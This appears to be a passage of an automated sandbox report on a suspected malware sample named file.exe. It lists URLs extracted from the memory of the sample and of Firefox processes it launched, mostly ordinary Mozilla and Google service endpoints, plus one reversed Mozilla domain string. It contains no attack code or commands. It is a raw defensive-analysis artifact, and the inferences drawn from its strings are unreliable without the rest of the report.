Source: firefox.exe, 0000001C.00000002.2741644582.0000025B37FD7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2776277540.0000025B4914D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2810414230.0000025DAEC72000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest5
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4914D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggestAttempted
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 0000001C.00000002.2756432548.0000025B46757000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744858280.0000025B44490000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44503000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://monitor.firefox.compictureinpicture.settingsbrowser.migration.versionnetwork.proxy.backup.so
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 0000001C.00000002.2807040985.000012A6F7204000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mozilla.org/
Source: firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp String found in binary or memory: https://mozilla.org/W
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp String found in binary or memory: https://mzl.la/3NS9KJd
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ok.ru/
Source: firefox.exe, 0000001C.00000002.2756432548.0000025B467B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%ssetSlowScriptDebugHandler/debugService.activa
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 0000001C.00000002.2756432548.0000025B467B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s_injectDefaultProtocolHandlersIfNeededCan
Source: firefox.exe, 0000001C.00000002.2743170489.0000025B4373C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 0000001C.00000002.2756432548.0000025B4670F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://profiler.firefox.com/
Source: firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp String found in binary or memory: https://reactjs.org/docs/error-decoder.html?invariant=
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44579000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 0000001C.00000002.2756432548.0000025B46757000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744858280.0000025B44490000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760587820.0000025B47D03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.com/shims/mochitest-shim-2.js
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.com/shims/mochitest-shim-2.jsshims/mochitest-shim-3.jsWeb
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4914D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.com/webcompat-reporter
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44503000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.combrowser.urlbar.openViewOnFocusupgradeTabsProgressListener
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2764094823.0000025B48112000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2764094823.0000025B48112000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp String found in binary or memory: https://snippets.mozilla.com/show/
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4914D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2792363422.0000025B4AC7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2795976288.0000025B4AE89000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2792363422.0000025B4AC7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2795976288.0000025B4AE15000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4914D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/userDISCOVERY_STREAM_CONFIG_CHANGE
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4914D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/userDISCOVERY_STREAM_CONFIG_CHANGEDISCOVERY_STREAM_CONFIG_RESETgoogle
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2776277540.0000025B4910F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2767695343.0000025B485D3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44503000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-jsC:
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4910A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2776277540.0000025B4910F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2767695343.0000025B485D3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 0000001C.00000002.2756432548.0000025B4670F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2776277540.0000025B4911B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4911B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/resource:///modules/UrlbarProviderOpen
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-user-removal
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 0000001C.00000002.2786679292.0000025B49951000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2776277540.0000025B4911B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4911B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/resource:///modules/UrlbarProviderTopSites
Source: firefox.exe, 0000001C.00000002.2767695343.0000025B485C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: file.exe, 00000000.00000003.2273208311.000000002EDF9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp String found in binary or memory: https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-help
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4911B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-helpchrome://browser/con
Source: firefox.exe, 0000001C.00000002.2776079783.0000025B49070000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe
Source: firefox.exe, 0000001C.00000002.2776079783.0000025B49070000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsUse
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4911B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2773697826.0000025B48BAF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 0000001C.00000002.2801668303.0000025B4FC03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4911B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settingspromiseLangPacksUpdated
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4911B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causes
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4911B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causesUnable
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4911B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4911B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/website-translationAttempting
Source: file.exe, 00000000.00000003.2273208311.000000002EDF9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: firefox.exe, 0000001C.00000002.2804237535.0000025B50F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 0000001C.00000002.2776079783.0000025B49070000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 0000001C.00000002.2776079783.0000025B49070000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 0000001C.00000002.2776079783.0000025B49070000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 0000001C.00000002.2756432548.0000025B46757000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B467F1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44503000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://truecolors.firefox.comcreateContentPrincipalFromOriginchrome://browser/skin/menu.svgdevice-c
Source: firefox.exe, 0000001C.00000002.2806915617.00000BE8B3804000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp String found in binary or memory: https://twitter.com
